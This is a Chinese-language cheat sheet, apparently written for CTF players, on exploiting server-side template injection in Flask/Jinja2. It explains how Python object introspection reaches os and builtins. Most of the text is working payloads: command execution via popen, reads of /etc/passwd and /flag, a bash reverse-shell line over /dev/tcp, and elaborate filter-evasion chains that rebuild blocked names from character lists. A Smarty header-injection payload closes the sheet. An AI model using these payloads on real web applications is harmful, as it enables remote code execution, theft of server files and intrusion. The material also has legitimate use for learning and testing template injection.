Flask SSTI(服务器端模板注入)
原理:
render_template
渲染函数的问题
渲染函数在渲染的时候,往往对用户输入的变量不做渲染。
也就是说例如:{{}}
在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}
包裹的内容当做变量解析替换。比如{{1+1}}
会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
流程
获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块
判断SSTI类型
漏洞原型
app.py
import flask
app = Flask(__name__)
@app.route('/')
def index():
name = "{{7*7}}"
return render_template_string('hello %s' % name)
if __name__ == '__main__':
app.run('127.0.0.1',8000)
常用魔术方法or内置类
比较全的整理:https://c1oudfl0w0.github.io/blog/2023/07/06/python%E7%89%B9%E6%80%A7
返回调用的参数类型/查看对象所在的类
格式为
变量.__class__
''.__class__
>>> <class 'str'>
().__class__
>>> <class 'tuple'>
{}.__class__
>>> <class 'dict'>
[].__class__
>>> <class 'list'>
__bases__
返回类型列表
''.__class__.__bases__
>>> (<class 'object'>)
可以在最后加数组来查看指定的索引值
__mro__
查看继承关系和调用顺序,返回元组
''.__class__.__mro__
>>> (<class 'str'>, <class 'object'>)
__subclasses__()
返回object的子类
格式
变量.__class__.__bases__[0].__subclasses__()
''.__class__.__bases__[0].__subclasses__()[4]
>>> <class 'int'>
可以在最后加数组来查看指定的索引值
__init__
初始化类,返回类型是function,可以用来跳到__globals__
__globals__
以字典类型返回当前位置的全部全局变量,与 func_globals 等价
使用方式是函数名.__globals__
获取function所处空间下可使用的module、方法以及所有变量
因为__globals__
返回的是字典,所以要使用get来获取值
可利用的模块
os
找<class 'os._wrap_close'>
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
# system无回显
"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("ls").read()
__builtins__
__globals__
中会包括引入了的 modules ;同时每个 python 脚本都会自动加载 builtins 这个模块,而且这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
找<class 'warnings.catch_warnings'>
模块来调用__globals__
调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")
x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")
调用open
''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read()
''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456')
调用file
''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['file']("/etc/passwd").read()
获取基本类
config
获取当前application的设置,是一个用于存储应用程序配置变量的字典
如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG')
,那可以直接访问{{config['FLAG']}}
或者{{config.FLAG}}
得到flag
request
request.method # 请求方式
request.form # 存放FormData中的数据 to_dict 序列化成字典
request.form.x1 # post传参
request.args # 获取URL中的数据 to_dict 序列化成字典
request.args.x1 # get传参
request.url # 访问的完整路径
request.path # 路由地址
request.host # 主机地址
request.values # 获取 FormData and URL中的数据 不要用to_dict
request.json # 如果提交时请求头中的Content-Type:application/json 字典操作
request.data # post传参,如果提交时请求头中的Content-Type 无法被识别 将请求体中的原始数据存放 byte
request.cookies # 获取Cookie中的数据
request.headers # 获取请求头
request.files # 序列化文件存储 save()
url_for
flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__[‘__builtins__‘]含有current_app
get_flashed_messages
flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__[‘__builtins__‘]含有current_app
current_app:应用上下文,一个全局变量
self
redirect
常用目标函数
os.popen()
返回一个
<class ‘os._wrap_close’>
对象,需要读取后才能处理
需重定向read()
才能得到str
subprocess.Popen()
在python中实现多进程程序,以此执行shell
class subprocess.Popen(
args,
bufsize=0,
executable=None,
stdin=None,
stdout=None,
stderr=None,
preexec_fn=None,
close_fds=False,
shell=False,
cwd=None,
env=None,
universal_newlines=False,
startupinfo=None,
creationflags=0)
参数 | 含义 |
---|---|
args | 字符串或者列表 |
shell | 如果参数shell设为true,程序将通过shell来执行,且args输入应当是字符串形式,同shell窗口执行的命令 如果不设置,默认为false,则输入的args应当是字符串列表 |
stdout | 创建Popen对象时,用于初始化stderr参数,表示将错误通过标准输出流输出 (stdout=-1) |
使用.communicate()
向stdin发送数据,或从stdout和stderr中读取数据
{%print(''.__clrequestass__.__mrequestro__[2].__subclarequestsses__()[258]('env',shell=True,stdout=-1).communicate())%}
file
exec
eval
常用中间对象
catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
lipsum.__globals__.__builtins__.open("/flag").read()
linecache.os.system('ls')
过滤器
官方文档:https://jinja.palletsprojects.com/en/3.0.x/templates/#filters
通过
|
进行使用的,它是一种特殊的占位符,告诉模板引擎这个位置的值从渲染模板时使用的数据中获取
可以链接到多个过滤器,一个滤波器的输出将应用于下一个过滤器.
过滤器相当于是一个函数,把当前的的变量传入到过滤器中,然后过滤器根据自己的功能,再返回相应的值,之后再渲染到模板页面中
其实就是可以实现一些简单的功能,比如attr()
过滤器可以实现代替.
,join()
可以将字符串进行拼接,reverse
可以将字符串反置等等
length():获取一个序列或者字典的长度并将其返回
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
reverse():反转字符串;
replace(value,old,new): 将value中的old替换为new
list():将变量转换为列表类型;
string():将变量转换成字符串类型;
join():将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr(): 获取对象的属性
关于attr:
官方解释:foo|attr("bar") 等效于 foo["bar"]
Jinja2
全局函数lipsum
在模板中生成测试数据
lipsum(n=5, html=True, min=20, max=100)
生成5段HTML,每段在 20 到 100 词之间。如果 HTML 被禁用,会返回常规文本。
通常的构造思路:
可以用于得到__builtins__
,而且lipsum.__globals__
含有os模块
lipsum|attr("__globals__").get("os").popen("ls").read()
set
定义变量,只要定义了这个变量,在后面的代码中都可以使用此变量
join过滤器
拼接多个值为字符串
{{ [1, 2, 3]|join('|') }}
>>> 1|2|3
gl=dict(glo=a,bals=a)|join
此时gl=globals
index
取得字符出现的第一位
可以在{lipsum|string|list}
得知可利用的字符时获得固定数字
过滤绕过
- 一般都可以考虑用
chr()
和+
拼接字符串进行绕过
引号:get传参绕过
在shell中使用request.args.a
或request.form.a
或request.values.a
,然后&a=命令
下划线:使用attr(request.values.b)
然后进行get传参
获取对象的属性,
(foo|attr(“bar”))
的工作原理与foo.bar
类似,只是总是返回一个属性,而不查找项。
os:get(request.values.c)
get传参即可
.
:使用|attr()
(见上文)
[]
:__getitem__(0)
实例对象通过[]运算符取值时,会调用它的方法__getitem__
{{}}
:引用变量,执行函数
可用{%print+要执行的语句%}
替换:逻辑代码
传参request:用~
拼接命令,使用set
定义变量拼接
(()|select|string|list)
查看可利用的字符(后几位是地址会随机变化)
>>> ['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '7', '7', 'a', 'd', '9', 'e', 'b', 'd', 'd', '0', '>']
(()|select|string)[0]
数组内选择可使用的字符
(()|select|string|list).pop(0)
适用于没有中括号的情况
payload
{% set a=(()|select|string|list).pop(24) %} // a = _
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %} // globals=__globals__
{% set init=(a,a,dict(init=1)|join,a,a)|join %} //init=__init__
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %} //builtins=__builtins__
{% set a=(lipsum|attr(globals)).get(builtins) %} //lipsum.__globals__.__builtins__
{% set chr=a.chr %} //调用chr()函数
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
//构造{%print (lipsum.__globals__.__builtins__.popen("/flag").read())%}
数字:
使用count
或length
获取数字
{% set one=(dict(a=a)|join|length)%}
>>> one = 1
{% set two=(dict(aa=a))|join|length)%}
>>> two = 2
使用全角数字代替半角数字
相关脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("输入想要转换的数字字符串:")
for i in s:
t += half2full(i)
print(t)
print:
dnslog带外
init:
__enter__
或__exit__
popen:
可以用system()
函数,但是执行命令没有回显,可参考无回显rce
Payload收集
{{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("命令").read()}}
{{config.__class__.__init__.__globals__['os'].popen('命令').read()}}
{{().__class__.__mro__[1].__subclasses__()[407]("命令",shell=True,stdout=-1).communicate()[0]}}
数组可加可不加
{{lipsum.__globals__.os.popen("命令").read()}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
过滤了_
,[]
,{}
,pop
,.
,""
等
{% set po=dict(po=a,p=b)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}{% set pp=dict(pop=a,en=b)|join %}{%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(132)|attr(ini)|attr(glo)|attr(geti)(pp)('tac /flag')|attr('read')() )%}
Smarty
X-Forwarded-For:{if system('cat /f*')}{/if}